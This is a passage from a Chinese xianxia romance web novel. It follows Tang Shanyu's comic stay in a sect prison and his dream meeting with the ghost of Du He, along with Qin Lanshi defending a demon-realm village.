“可是我们不是有商会吗?虽然才是个小规模,我们被抓走的时候,大王特别着急呢。”有聪明的鸡开始思考了。 鸡开始思考,鸡开始吵闹地回答唐山玉的问题,唐山玉总觉得自己好像不应该问的,因为他觉得这些鸡回答他的语句有些混乱。 “……好了,我知道了。”总之,唐山玉听了这几句后,就大概明白了一点,估计是被人下黑手了,而更多的,他还是选择去问那位鸡大王吧。 …就算没有被下黑手,唐山玉也得找其他方法让他的商会计划可以轰轰烈烈地进行着……谁都不能阻挡他赚钱。 “就你们几个进来了吗?有没有其他…鸡在其他牢房里头?”唐山玉清点了一点牢房里的鸡头数,刚刚好七只……另一边墙角的蛇不算。 “……你为什么无视我?”那边的蛇阴沉沉地开口了。 “……非我族类,其心必异。”唐山玉干咳了一声。 “你是人。”乱当什么鸡。 “…那你我也不是同族啊?”唐山玉觉得自己已经很无视这条蛇了,鬼知道他是怎么进来的。 蛇继续阴暗地看着唐山玉。 唐山玉抬手擦了擦不存在的汗,用明显的动作来表达他心虚和无奈。 “你是怎么进来的?”这条蛇终于开口问别的问题了。 “……”唐山玉沉思了一下,然后又一下。 “……?” “我是……被冤枉进来的。”说着,唐山玉就开始面露悲伤,他扶着铁栏杆,给鸡和蛇们表演了一个铁窗泪:“我的清白天地可鉴啊。” 蛇:…… 兰时你要开心 秦兰时睁开眼,他发现自己躺在陌生又有点眼熟的房间里头,他四处张望着,然后他发现自己好像回到了过去。 这里是他穿越前的家,而他的校服外套还在那边椅子上搭上,房间书柜里头摆着他爱看的漫画,桌上摆了几个好看的周边。 作业被他搁到一边,留下了他爱读漫画不爱读书的痕迹。 “………” 秦兰时是有点懵的,他总觉得这是梦,于是他开始狠掐自己,还真有点痛,难不成这不是梦? 于是他走出去,开始环顾四周,就在他走出去不久,他就遇到了父母,父亲拿着夜宵问他:“那么晚还出来做什么?” “……我…”秦兰时张了张嘴,随后便被房间里头听到动静出来的母亲给打断了。 “怎么还不睡?是不是又偷偷摸摸玩手机了?”母亲皱起眉头,问出的话宛若通往地狱的过山车。 几乎是一瞬间的事,秦兰时下意识地开口道:“没有!绝对没有玩!不信你可以查!!” “真的?” “真的!真的!比珍珠还真,我就去个厕所,去完我就去睡觉!!”话音刚落,秦兰时就火速地往厕所跑去,一进去关门,锁上门,简直一气呵成。 进去后还没等秦兰时想什么,突然,他感觉到裤子上似有重物,拿出来一看发现就是他的心肝手机。 秦兰时:…… 以前的我,你真偷偷摸摸玩了啊?? 既来之则安之,于是秦兰时熟悉地蹲下来,就这样打开了手机屏幕,解锁后是没有声音的,这不错。 接着,他又小心翼翼地看一眼音量。 很好,静音。 秦兰时松了口气,随后就开始看起了日期,发现是在自己的高一时期……他还能记得也是个神人。 就那么鬼鬼祟祟翻一遍手机后,秦兰时就一本正经地收起手机,放兜里,冲个什么也没有的水,然后洗个手,就这样当着外头父母的面,面不改色地回到房间里头。 一回到房间秦兰时就把手机拿出来放到桌面上,证明好自己的清白,接着,他就躺回床上,开始看着天花板发呆…… 他真的回去了? 秦兰时显然不是很信的,时间太久了,久到如今的一切就像场梦,可稍微置换一下,如果他千年来的修仙生活只是一场梦……那么,现在梦醒了,他却总觉得自己不在现实,这又是什么样的奇怪感觉。 就这样,秦兰时睁眼到天亮,他没有睡觉,但是他还是要去上学,上学的路上他骑着自行车,看着树影子一点一点地在他身上滑过去,这种平静的生活实在是让人身心放松得很……但是他却隐隐觉得空虚。 果然是梦太久了吗? 身心好似都丢在那场虚幻的修仙梦里头,其中的爱啊恨啊就这样混一起,让人无比为其疯狂。 他好像被梦里的爱给困住了,就像他在修仙界的时候被这里的爱困住一样。 迷茫的秦兰时感觉到自己的贪心,但是一时之间他并不知道该怎么办,就这样,过了一些时日,在一个平静的黄昏,他骑车走在路上,和一人擦肩而过的时候,他才猛地惊醒些许。 那是一位故人。 只不过这位故人为什么在这里发传单? 秦兰时走过去,看着这个发传单的唐山玉,唐山玉正无聊地叼着根棒棒糖,将手上或许会成为旁人垫骨头的传单一一发放到经过他的人手上。 “嗯?”唐山玉发觉有人看他,也就看了过来:“…你要?” 秦兰时顿了顿,然后点头,于是他伸出手接过了唐山玉手里的传单,定眼一看发现是健身馆的传单:“…你…办卡的?” “不,我是发传单的,不过你要是想办卡,我可以介绍……”唐山玉本能地回了一句,随后他想起什么,瞅了好几眼秦兰时身上的校服:“小孩子还是好好上学吧,没钱就别搞这些了。” “…我不是小孩子,我已经一千多岁了。”秦兰时说了一句听起来像是此地的疯话。 “嗯,好,就算你是爷爷也不能来。”唐山玉晃了晃手里的传单,温和地笑道:“你要是闲着旁边去一点,我发完再和你这个找不到路的爷爷聊天。” “……哦。”秦兰时乖乖地坐在那边的凳子上等着了。 也不知等了多久,秦兰时终于等到人忙完了,在唐山玉那手上的最后一张传单找到它的归属后,秦兰时看到他走过来,也跟着坐在他旁边,并且手里拿着一根棒棒糖。 “来一根?”唐山玉递过去,两个手指夹着,像个教坏小孩的大人一样。 秦兰时接过去,撕开糖纸,然后放嘴里吃着,是巧克力味道的。 “…我不知道路怎么走了。”秦兰时说话的语气是丧丧的,眼神也有点迷茫。 “想要我当人生导师?那不巧…我也想要有人当我的人生导师呢。”唐山玉说这话的时候很是吊儿郎当,并且还捏了一把秦兰时的脸蛋:“你这种时候,就先读书,什么事情都先放放,因为一直想会很累……” “我喜欢你。”秦兰时依旧丧丧的。 唐山玉:? 唐山玉就差整个人从凳子上跳起来了,他明明是个守法的好公民,偏偏秦兰时这一句让他离进橘子非常近的感觉。 “咳咳咳……你等等!!”唐山玉连咳几声,还想说什么的时候就看到秦兰时整个人靠过来,直接把他给靠石化了。 “…我这样子很奇怪吧?但是好像……控制不住。”秦兰时靠上人后,总觉得心情很好,就开始说起自己的事情:“我做了一个很长很长的梦,我梦里有你,我不会认错的,然后在梦里我们俩在一起了,就是这样。” “………”沉默,对方只是沉默。 …秦兰时觉得自己这种发神经是个人也接受不了,就在他想要退回去的时候,唐山玉拉住了他。 “哇?你真的在梦里见过我?”唐山玉拉住了他,有些好奇地问道:“真的没认错脸吗?那你说说,我叫什么名字?” “…唐山玉。”秦兰州看着他,认真开口回应着。 “还真是。”唐山玉更意外了,然后笑道:“天底下居然真的有那么神奇的事情,你再和我说说?” “……”秦兰时张了张嘴,把他记忆里的那个梦都告诉给眼前的这个人,这个在梦里梦外都存在的这个人。 说完,秦兰时就小心翼翼地观察起唐山玉的神情,唐山玉似乎在思索着什么,随后他笑道:“那你觉得你应该在哪里?” “…什么?” “你觉得你在哪里会开心,那么就在哪里,你觉得哪里需要你回去,那么你就回去哪里。”唐山玉轻轻摸了摸秦兰时的脑袋,笑道:“一直犹豫是不会任何进展的。” “这个我当然知道。” 秦兰时笑了一下。 “我知道的……” 只是…… 想再等等…… …… 秦兰时睁开眼,他看到了唐山玉躺在旁边,短暂的梦让他想起那份美好,就这样细细回味着,让秦兰时心情很好。 于是秦兰时开心地抱住唐山玉,甚至还晃了晃人,他现在急需喊人起来分享他的喜悦,他的美梦。 唐山玉动了一下,他也跟着睁开眼,他懒懒地揉了揉眼睛,问道:“怎么了……?” “山玉!山玉!我跟你说,我做了一个非常非常好的梦……”秦兰时凑过来,正准备笑着和人说的时候,一个吻轻飘飘地落在他的额头上。 “嗯,我知道了,生辰快乐。”唐山玉落了一个吻后,便笑道:“…礼物,等我彻底醒过来再说……” 说着,人就往秦兰时身上倒去。 秦兰时将人抱住,没有再把人晃起来,而是就这样抱着,又重新躺了回去,他就这样看着唐山玉睡回去的模样…… 开心地笑了。 今日,又是一个非常开心的生辰呢。 因为幸福就在身边。 第258章 余烬可复燃 蛇其实不是很想理会这个人类,都说人类皆是狡诈的,最会骗蛇了。 “你在这里待多久了?”唐山玉席地而坐,双腿交叉,无聊地问起牢里趣事了:“这里会有饭吃吗?总要有些没辟谷的修士被关进来需要吃饭吧?” “没多久,也就百年吧。”但是有人与它说话,它倒也会应,没办法,这个牢房里头已经许久不进会说话的东西了,它平时也是寂寞得开始自言自语了。 “…百年?这么说起来你给关了一百多年啊……那你有没有听过有个杜鹤的囚犯,他长得大概是……”唐山玉努力回想了一下杜鹤的模样,然后说给这蛇妖听。 “…有,你还是他故人?”蛇妖挑了挑眉,有点意外。 “对啦,就是故人,很巧吧?”唐山玉眨了眨眼,一副无辜的模样,接着在听到有杜鹤信息后,他就往蛇妖那边挪了挪几下:“不知道这位蛇兄叫什么名字啊?” “…付尘。”蛇妖看了这个摆明想要与他交好的人一眼,开口道:“怎么?这个时候就想套近乎了?你们人类都那么厚脸皮吗?” “你这话说得……杜鹤也很厚脸皮吗?”唐山玉继续笑了笑,还是这般的无害。 “………呵,你不是故人吗,怎么连他厚不厚脸皮都不知道?”付尘往后边挪了挪,他想要远离凑近过来的唐山玉。 “因为我们的缘分只有那么一点。”唐山玉举起两根手指,灵巧地比划了一下,接着,他比完就自己先笑了:“原来,是真的就一点,我是真没有想到我还有和他再续缘分的一天。” “你这人类怎么说话神神叨叨的,跟要骗蛇似的。”付尘自然面露怀疑,面对一口一个缘分的唐山玉,他选择直接道:“你离我远点。” “哎?为什么?”唐山玉可太无辜了,接着他又问道:“所以呢?我想问你,我那故人何在?” “早走了。”付尘说着,吐出血色细舌,上下扭动着,眸子没什么在说起这事的时候没什么情绪波动,“他应是得了什么病,进来后的这几日身体逐渐变差,当然总有几个人过来审他,最后都放弃了。” “我还以为你知道他,会和他很熟。”唐山玉瞧了一下这蛇的表情,没看出什么,紧接着,他笑了一下 “不熟,见过。”付尘说话很冷淡,但是或许只是表面上的冷淡,因为他有问必答。 唐山玉见此也就继续问道:“在哪里见的?哦,我是说在哪个牢房里见的。” 在付尘露出被关押已久的看傻子眼神之前,唐山玉瞬间改了个口,是他说习惯了,差点忘记这里的只有牢底坐穿的家伙。 “那边的。”付尘指了指那边的那边的牢房那里,唐山玉定眼一瞧,发现那牢房离自己不远不近,恰到好处的距离让唐山玉若有所思。 于是,当天夜里,一条白绫就这样飘在牢房里头,把四周的鸡给惊得乱叫,鸡叫声响在夜里,让付尘不由得捂住了耳朵。 守卫过来了,定眼一瞧就看到唐山玉正在无比平静地要把自己吊死在牢房里头,并且上边还有大大的血字,血字的内容满满都是我很冤。 “…你…你干嘛!!”虽然这人大概是出不来了,但是目前还没定罪,就这样死在这里头,传出去怕是不太好看。 虽然可以捏造成畏罪自杀的假象,但是架不住人在还没定罪就死,万一随清宗借此发挥的话,他们断恶庭名声估计也会下降不少。 再说了,唐山玉之前可没有说过这一切就是他干的,真是细思极恐。 “我觉得我很冤枉,所以我决定死一下,放心,我已经准备好遗言了。”唐山玉淡然一笑,这般果断赴死的姿态让守卫不由得心里头一惊,莫不是……这是随清宗推出来的棋子,好让他们断恶庭名声扫地吗? “什…什么遗言?”守卫咽了一下口水。 唐山玉神秘一笑,不做他言,只是努力地挂白绫,准备给他们表演一个吊挂牢房头。 “等等!有话好好说!”这死太快的决然让守卫心生了不少顾虑,他当即让同伴拦下唐山玉随后急急忙忙去报告上边的大人。 “我们没什么好说的。”决然的表情出现在唐山玉的脸上,这让他看上去像为了皇命要去赴死的将军,虽然他看上去不像个将军,要不还是假装一下自己是进谏失败撞墙的老顽固文臣吧。 总之,这边打算死一死,那边打算想一想,断恶庭的长老听到这话后脑子开始飞速旋转着,最后,他觉得这人死那么快肯定有诈。 说不定唐山玉一死,那边的顾延清就举着剑攻上来说他们把弟子残害至死。 好你个随清宗,看上去浓眉大眼的,居然还干这种勾当,真是错付了他们对这随清宗的正直印象了。 断恶庭的长老暗自思索一番,随后就带着人轰轰烈烈地往唐山玉那个小牢房走去,走到后就看到守卫手里的白绫还有那墙上的血字。 “你这是在做什么?”长老眉头紧锁,眼神微妙地看着这个要死要活的唐山玉。 “想死了。”唐山玉难得话很少,只是淡淡地说了这一句,接着便不再言语。 “……”长老看向那守卫,守卫连忙把唐山玉要死要活的场景栩栩如生地说了一遍,生怕长老不信,守卫还高举手中的证物白绫给长老看。 “…你想要什么?” 唐山玉没有回答,只觉人生惨淡,整个人憔悴得好似要随风去了那般。 “……你到底想要什么?!”长老被这个沉默给震住了,他不禁声音大了些许。 但唐山玉依旧不答,主打的一个安静如鸡,旁边的鸡也跟着安静起来不再打鸣,紧接着,那边的付尘慢悠悠地来了一句:“大人,要不给他换个牢房?换一个能看着点他的,死这里发臭了也麻烦。” 大人瞅了这蛇妖一眼便收回视线,虽看似无视了,实际上他有在思索这蛇妖的话,细想一下,觉得唐山玉和其他人在一起不是很好,当初把杜鹤和旁的家伙放一起,过几天就成为了牢里老大,过得有滋有味的,要带人走还要被那些家伙给瞪。 要不是有栏杆和阵法限制,怕是要高喊着杜大哥就这样把他们给端了。 这样一想,这大人觉得唐山玉应该单人比较好,就看旁边的鸡,别以为他没有看出来这些鸡的眼里都是对唐山玉的依赖。 此子恐怖如斯,断不能让他和其他人待在一起。 大人眼神凛冽了一瞬,就决定给唐山玉安排上和杜鹤一样的牢房待遇,就这样,唐山玉水灵灵地入住了当初杜鹤的豪华个人单间牢房。 “……”唐山玉其实内心还有很多ABCD计划还没有实施,他才略微试探怎么就成功了。 深谋远虑的大人想着既然这俩人有联系,那就放在同一个牢房里头,万一杜鹤那小子留下什么东西给这小子,在这个小子拿到东西后他们就可以直接抓住他的出错!! 这样一想,这大人就心满意足地走了。 留下守卫和刚刚寻死失败的唐山玉面面相觑。 最后,守卫警告了一下唐山玉,让人老实一点就继续巡逻了。 唐山玉在这个牢房里头转了转,最后找个干燥的地方躺下来,双臂枕着头部,抬头看着上方那灰扑扑的天花板。 夜晚很安静。 越安静就越容易陷入沉思。 思念也在这个时候浓烈地涌上心头。 唐山玉抿一下唇,转个身,手抚上了旁边空荡荡的地板,要是有个人在这里,或许这个夜晚就没有那么冷了吧。 这样一想,唐山玉手指微缩,他叹了口气,重新翻转回来,仰面躺着,他用手背遮住自己的眼睛,心里头则一点一点地将之前的回忆都拿出来,反复咀嚼着其中的喜悦,好似那幸福的时光从未离去那般。 “……师父。” …… 秦兰时将剑上的血微微一甩,处理这些魔物用时不短,毕竟数量大,再加上这里本就是魔域地界,浓郁的魔气让它们恢复实力也快,所以不能拖太久,得速速解决才行。 只是……魔物怎么那么多? 平时他过来的路上也没见到几只啊。 难不成真的是因为他一个人的肉不够它们塞牙缝的缘故?还是他太厉害了,那些魔物遇到他都绕道走? 不管如何,处理完后秦兰时就准备回去了,路上他看到不远处的村子里头似有红光闪烁。 秦兰时只觉不妙,当即以最快的速度回去,下一刻,他看到了村子里头的红光来自于里头燃烧的火焰,火焰里头有着弱小的悲鸣声。 “…求求你……求求你……” 到底是谁在恳求。 “不要…不要杀我……” 到底是谁在恐惧。 “……别动我的孩子!!!” 但村子里头依旧存在着与众不同的歇斯底里的怒吼。 刹那间,火光里,那位初为人母的春娘抱着自己的孩子,冲着那举刀魔修发疯地叫吼着,她眼里泛着血光,弱小的魔气于她周身打旋。 而孩子的父亲刘大哥已然倒在血泊里,像是已经失去了声息。 季盈手上拿着长刀,指着对面的魔修,她将那母亲还有孩子护至身后,眼里带着对这些魔修浓浓的厌恶:“出去,这里不是你们该来的地方。” 可魔修本就失去了应有的道义,杀戮是他们生存在这里的学习到的唯一手段,他们笑着,缓缓逼近。 秦兰时见此就要挺身而出,可下一刻,他的脚步微微顿住,只见那母亲怀里的孩子因为这突如其来的遭遇被惊得啼哭出来,孩子的哭声在这村子里特别响亮。 也是这一哭,只见那还在地上的刘大哥猛地窜了起来,手上拿着菜刀朝着一个魔修身上劈过去,这一劈下,那魔修的手臂便断了一截下来,滚落于地上。 就在此时秦兰时听到不远处似有人在喃喃自语着:“…孩儿…孩儿哭了……我听到孩儿在哭……娘…娘来了,莫怕…莫怕……” “?!媳妇你要去做什么?”一道男声呵斥了她,“外头危险,我们快躲起来好不好?” “…孩儿…孩儿在哭!你听到了吗!!!我们的孩儿在哭啊!!孩儿……孩儿……娘来了…娘来了,娘这次一定保护你……” 紧接着,便是一阵翻箱倒柜和出门的声音。 很快,那此起彼伏的求饶声渐渐小了不少,孩儿依旧在哭,小孩是那么的脆弱,那么的无助,撕心裂肺的哭声总让人动容。 “………我和你们拼了!!!”又是一村民,他叫着吼着,应是压抑许久的哽咽让他的声音颤抖得不像话:“柳儿莫怕!!爹来了!爹这就来了!!” “……老头子…是那刘家的孩子生了吗?”老妇颤抖着说着话,似乎在害怕又似乎在压抑着什么:“咱们村,有孩子了?” “有了…有了…就在今日,那刘家的孩儿出生了。”一道苍老的声音接上这话,对比起老妇较为沉稳,紧接着,他似是下定了什么决心:“…走吧,走吧,老了……总要去做点什么。” …… 秦兰时听着,也看着,这个本该死寂的小村子居然因为一声婴儿啼哭而重新活了过来,好似有什么本能在动,好像有什么止不住的呜咽自土里头钻出来,苦涩的,但是却也难得发出了细微的声响。 村子,在那一刻,活起来了。 因为村子里有了新的存在。 见此,秦兰时笑了一声,随后便提着剑往那些魔修而去。 强者应当为弱小者而挥剑……但他们也并非彻底的弱小之辈,只是压抑太久,太久,往日的火焰早已成了余烬,可余烬里并非什么也没有,只需要一点星火,它便可复燃。 …… 不管如何,这里好像很适合成为他的根据地呢。 秦兰时笑着挥剑而去,火焰卷动起他的衣摆,轻盈若蝶,火光跃动于剑面上。 少年的歌似乎再度在魔域响起。 第259章 再见杜鹤 “打哪来的?” 秦兰时扛着剑,坐在大石头上,潇洒地叼着根不知道哪里来的草,一脚搁置在石头上方弓起,另一只脚往下垂去晃悠着不沾地,而在前方正跪着好几个魔修在那里。 他略抬下巴,就有人上前去拿出藤条狠狠地抽了前边被绑好的魔修一下:“大人问你话呢!!” 那藤条上带刺,抽得魔修那叫一个酸爽:“哎哟!!” “嗯?”秦兰时挑了挑眉,换了一下姿势,换另一条腿立起来,依旧是那副懒散的模样。 “就是…就是金珍城那里来的。”魔修小心翼翼地开口了,并且眼神极为恳切地继续道:“大人…大人我们晓得错了,我们哪晓得这里早就有大人您这等人物护着, 不然也不会在您这地儿上撒野啊。” “……”秦兰时很想说难不成没有人护着就能够动了吗?但是转念一想这里是魔域,思维方式和他们那边肯定不一样,所以他只能继续摆出那副冷漠的模样:“金珍城?” 这时就有人接下他的话开口了,只见那季盈走上前来开口道:“大人,这金珍城在魔域里头是数一数二的金贵地儿,虽说比起那位尹大人的孤明城肯定还差了点。” “是的,听说最近的魔主选拔会也在金珍城里头举办……”底下的魔修抬头看了秦兰时一眼,便开口道:“大人您瞧着实力超群,定是个响当当的人物儿,莫不是也是……” “嗯?”秦兰时闻言笑了笑,没有说是也没有说不是,而是略一挥手:“你们好像没什么用,要不还是杀了吧。” “等等!大人!等等!!我们有用的!有用的!”魔修当场哀嚎,直接用脑袋撞地,生怕秦兰时不放自己一马。 “有什么用,就算你真有用,但斩草不除根,春风吹又生的道理我还是懂的。”秦兰时耸了耸肩,随后看向那几个村民问道:“不过我看你们,你们要是觉得能留就留吧。” “不,不留!”其中一个老人摇了摇头便继续道:“留着就是个祸害,死了好歹是死的祸害。” “好嘞!”秦兰时一声应下,剑出得也果断,很快那几个村民就去处理地上的那几具没了声息的尸体,顺便把他们身上的衣物还有东西都扒拉下来再丢。 “…时澜公子接下来可有什么打算?”季盈走上前来问道,她的态度比先前恭敬了一点,只不过许是想过秦兰时一些性格使然,她并没有恭敬到了极致:“可是要去那金珍城?” “哦?你怎么和那死人得出一样的结论?”秦兰时将那根草拿下来,手指将其夹住折起 ,“我看着就那么像要去当魔主的人么?” “……您看着就不像会停留在此的人。”季盈叹了口气,随后就拿过旁边村民递过来的牌子递给秦兰时道:“金珍城的路很好找的,方才那几个魔修身上就有令牌,有了它就能够进去了。” “哇,多谢啦。”秦兰时接过这牌子,方才还被他把玩草立马被丢掉,开始玩起了这个牌子,这个牌子做工还挺好,材质算合格,应该不容易损坏。 “……多谢时澜公子出手相助。”季盈又道了一声,对秦兰时拱手行礼:“不知公子要如何处理我们?我们对公子可有用处?” 在魔域里是这样的,没有毫无目的的拯救,有的只是利益的施舍。 秦兰时要说没有打算那是假的,不过救人倒是真心的,但是如果要直说……估计对方也不会太信,倒不如用利益关系让人更为安心些。 “你们于我而言的确有用,不过现在好像没什么用,你们得努力发育……啊不,你们得努力变强才行呢。”秦兰时笑眯眯地从石头上蹦下来,他清点了一下人数,若有所思后就拍了拍手道:“好,把大家喊过来,一起开个小会!” “…啊?什么?”季盈一愣。 “开会!来!”秦兰时难得有些许兴致,大手一挥就转身往开会的岗位上走去。 秦兰时正在热火朝天地开会,唐山玉则是在牢里头被寒冷的风给惊醒,真是冷暖不一。 一般这种时候唐山玉都会摸一摸怀里的同心莲,来让自己心安,但是那朵花早就在他死过一次后没了,所以他现在什么都没有,全凭脑子去想点温暖的回忆让自己积极起来。 “……真是做梦都不给人做全。”唐山玉真是无奈得很,他重新坐起来靠在墙壁上,接着他发现了一丝不对劲,墙壁上好像有一点灵力残留。 唐山玉:…… 这真不是坑吗? 他要踩吗? 犹豫片刻后,还不等唐山玉去犹豫,他就感觉到那灵力缠上了他,紧接着一个奇怪的梦将他所笼罩着,清脆的铃声一响,他就坐在一个考试桌面前,眼前的考题让唐山玉有一瞬间的头晕目眩。 “…等一下?”唐山玉很是惊恐,他看向了周围,白花花的墙壁,陌生熟悉的黑板上面写着考试时间开始和结束的时间,而墙上挂着的钟正在滴答滴答地响。 与此同时观察着唐山玉这个牢房的长老正拿起一个鸡腿在啃,他看了看那边突然安静的唐山玉,转头问人道:“他看着好像遇到那个了。” “那正好,他要是解开了那么就说明他和那杜鹤有着说不清的关系,到那时候……”另一个长老邪魅一笑,一切尽在不言中。 “说起来那玩意到底是什么?我从没见过那样的考题。”长老说着就莫名其妙头疼了起来:“不知为何,我看着它就头疼。” “我也头疼,怕是什么上古阵法的咒语,就连咱们的阵法大家也没解出来这到底是个什么,只能就那样放着了。”这个长老也拿起一只鸡腿在啃,一边啃一边道:“哼,不管如何,唐山玉和秦兰时魔头有染的事实就摆那里了,到时候尽管引导便是。” 所以这个上古阵法唐山玉到底能不能解开呢? 答案是…… 不能。 唐山玉看着这熟悉又陌生的数学物理化学两眼一黑,就差当场晕过去了,他不明白,他不明白啊,都穿越了他怎么还要考试。 “杜鹤?你有毛病吧?!”唐山玉骂出了声,面对拼尽全力无法战胜的敌人他只能无助地抛弃温和的表面开始辱骂已经变成灰的杜鹤。 上面的钟还在滴答滴答地走着,唐山玉立马抬头看看时间还有多久,好,还有两个小时半……好个鬼,他能不能醒过来。 唐山玉没有掀桌就证明他还是个温和的好人,只是这个位置他是真的不愿意待了,当即站起来在这个空间里转来转去。 纯白的空间里除了那黑板,时钟还有那桌子和考卷,其他东西一点都没有,莫非这就是传说中不考试就出不去的房间吗? 这种事情不要啊。 唐山玉心里大骇,可在梦里他就像个被困住的小鸟,找不到出路,只能眼睁睁看着上面的时钟一点一点地往前走。 最后,唐山玉走回座位上,开始拿起笔做起了题目……其实是在乱选,他早就忘记这些知识了,但是后边的解他是写得格外的流畅,写完后,考试自然还没结束,因为他写太快了。 太快的原因只是因为他不会罢了。 很快,等时间到了的时候,唐山玉得到了卷卷不合格的成就,就在唐山玉以为自己要被踢出这个噩梦的时候,梦还在继续…… [你在每个大题后边加了解字,所以你通关了。] 一道在努力平静的声音在空间里头响起来,说不清到底是在嘲讽还是在安慰放海。 唐山玉:? 啪的一下,这个空间就碎掉了,留下来的是黑漆漆的地儿,在那里,一个人正站在那里笑着冲唐山玉挥手:“哎呀,恭喜你……” 杜鹤还没说完呢,就看到唐山玉朝他飞奔而来,此刻少年的脸红胜过一切。 杜鹤:…?这么想我吗…… 就这样,唐山玉对杜鹤的腰来了个飞踢,杜鹤当场瘫倒在地上,捂着腰在地上呻吟起来。 “…谁教你这样做意念空间的。”唐山玉脸上的微红显然是做题做不出来的红温所致,他温和一笑,似乎抬起脚重新再踹一下。 “等等!等等!!这个真的不关我事啊!这是我之前在长乐噩梦里挑的一个最没有杀伤力的啊啊!”杜鹤连忙就地滚了一下就站起来举起手求饶。 “……那么多美梦不挑,你专挑噩梦?想玩我呢?”唐山玉笑眯眯地抱臂站在那儿,就这样看着杜鹤。 “……咳。”杜鹤咳嗽了一声,他对这个没什么好说的,于是他正色起来说起了正事,“看来你能找来这里,应该是也和我一样坐牢了?哇塞,你到底用什么法子进来的?” “……这很重要吗?反正你已经死了,说了也是白说。”唐山玉顿了一下,随后耸了耸肩,一副很无所谓的模样。 “太无情了吧?就算我死了,但是我的意志还在啊。”杜鹤眼神坚韧起来,然后拍了拍自己的胸口,也不知道在燃些什么。 “…所以,你要告诉我什么呢?”唐山玉找了个地就盘腿坐下,他说起这事的眼神就复杂起来了:“还是说,你有很长的一段故事要和我讲?或者要拜托我什么?比如照顾一下某位背叛了我和兰时的道友?” 说完,唐山玉也很是无奈地笑了:“虽说我的确在她身上注入了不少信任,也想过这种后果,但是真的发生了我还是很难受的。” “看来她真的做到了啊……”杜鹤挠了挠头也在唐山玉面前坐下了:“嗯,长乐姐姐其实只是看上去活泼,实际上她有时候还挺可怕的,不算意外。” “你这是夸她还是损她?”唐山玉略微挑眉,半笑不笑的问道。 “夸吧?毕竟她不这样还挺难活下去的……我偶尔也听说过她的故事……”杜鹤说着,笑着指了指自己:“对啦,忘记自我介绍一下,其实我的本名不是杜鹤,是柳鹤,是长乐姐姐那具身体的弟弟。” “你作为弟弟见到自己姐姐被人占了身体好像不是很伤心,甚至还承认了她的身份。”唐山玉闻言眯起眼。 “嗯…嗯……毕竟长乐姐姐的确厉害?”柳鹤歪了歪头,然后笑道:“其实第一次和长乐姐姐见面的时候,我差点就死掉了,只不过长乐姐姐心软饶了我一命,然后就这样了。” “…她还打算杀过你?”唐山玉倒是有些意外,没想到胡长乐初来乍到就那么适应修仙界的弱肉强食了吗? “对啊,那个时候的长乐姐姐可比现在要可怕多了,只是后边好起来罢了。”柳鹤想了一下,随后道:“可能是因为她被人杀死过吧?那些噩梦里有说……哦,我能入梦这件事姐姐并不知道呢。” “…被杀死…?” “对啊。”柳鹤说起这事倒是没什么情绪,眼里平静得很,“那是在一个雨夜里,血流了一地……” 柳鹤很难忘记那天所看到的场景,他只是个旁观者,静看着这场悲剧的发生,伞倒在血水里,厚重的雨声将巷子里的惨叫给盖了过去。 闪电自空中划过,照出少女那张惨白的脸,她的眸子充满着不甘与怨恨,面朝着外头的灯,灯照不进来的小巷子是黑色的。 最后,在梦境崩塌之时,那个女孩低低地呜咽了一声: “早知道……就不给他打伞…送他回家了……” 第260章 苏醒 柳鹤是在什么时候遇到胡长乐的呢?那是他在家里头被柳家的某个混球少爷打个半死的时候,那天,柳鹤感觉自己要死掉了,就连呼吸里都染上散不开来的血腥味。 他躺在地上,总觉得自己这次或许真的过不去了,呼吸在渐渐微弱,意识也渐渐模糊着…… 冰冷伴随着梦袭卷了自己的全身,迷迷糊糊间,他好似感觉到一只温暖的手,手掌轻轻抚着他的额头……像一场美梦,他有点不愿意醒过来。 等柳鹤再度睁开眼,他就发现自己躺在了床上,这是他的房间,旧房子里头的灰尘荡得让人呼吸有些难受,窗户被人打开,新鲜的气流将这些灰尘给带走,外头已是夜晚。 “醒了?”一道熟悉的声音在旁边响起,柳鹤转头看去,发现是他的姐姐柳长乐,她就坐在不远处,托着下巴看着这个弟弟。 “……姐…姐?”平日里头理都不理他的柳长乐今个儿怎么和他说话了?柳鹤不知道,但是他有点拘谨。 “…嗯,我在。”这个柳长乐在听到这声呼唤后睫毛轻颤了一下,随后放下手,笑问着:“要喝水吗?我刚煮了一壶。” “……好。”柳鹤点了点头,尽管内心还是很忐忑不安,毕竟柳长乐的态度和先前的完全不一样,现在的柳长乐给人一种安静的淡感,好似什么都不重要,什么都不在意那样。 柳鹤小心翼翼地看着,看着看着那碗热水就落在他的手心里,隔着碗都能够感觉到里头的热乎。 “小孩嘛,多喝热水。”这个柳长乐见柳鹤一动不动的,就提了一嘴:“别喝凉的,那不卫生。” 柳鹤听到这话便端起这碗水,极为小心地喝着,水是暖和的,就这样自喉咙那里流到身体里,心脏也在这一刻舒服地怦然而动着。 “……姐姐。”柳鹤喝完了就举着着个空碗无所适从。 “…你要不要跟我走?”这个女人笑着对他伸出手,“离开这里如何?这里实在是太糟糕了,不合适作为一个家居住。” “走?去哪里?” “不知道,我就问问你,当然你要是想在这样我也尊重你的想法,我就自己先走了。”她说着,语气里头带着些许疏离,尽管如此柳鹤还是伸出手抓住了她,抓住了这个姐姐。 因为他也不想待在这里。 “所以你就这样老老实实和她改了姓氏,然后把那几个宗门搞没了一起做大做强。”唐山玉听完了这故事,若有所思地点了点头。 “……嗯,我当初其实并不知道为什么姐姐不愿意姓杜,明明杜是母亲的姓氏,但是她却拒绝了,甚至还说没必要…”柳鹤耸了耸肩,有些无奈地道。 “伤心吗?”唐山玉轻轻笑了一声,好像在幸灾乐祸。 “当然,毕竟她好像直到我死了都没有把我当家人……现在看到你来了,估计她还是想着回去吧。”柳鹤继续无奈着,总之,他开始说起其他事情:“好啦,长乐姐姐的事情和我接下来要和你说的没什么关系,我们换个话题吧……” “别啊,我听得正起劲呢。”唐山玉稍微阻止了一下,“好吧,那你说完这个话题再和我细说。” “……你就那么好奇吗?” 唐山玉闻此便微微一笑,很是深情地开口道: “因为知己知彼才能百战百胜啊!”因为我也想好好了解一下你们的过去。 “……你是不是心里的想法和说出的话弄反了。”柳鹤很是复杂地看着这个神态和话语不搭的家伙。 “有吗?你看错了吧?”唐山玉眨了眨眼,一脸无辜,但是柳鹤能怎么办呢,毕竟他要说的事情估计也只能告诉这个人了。 “我想说的就是关于这个断罪庭,关押罪人的地方是和那些守护正义的家伙住在同一个塔楼里的,这个塔楼一共有十七层,上五层是断罪庭的办事处,往往下则是关押罪犯的地方,我们目前是在第十层。”柳鹤慢悠悠地用造梦幻化出一座尖塔。 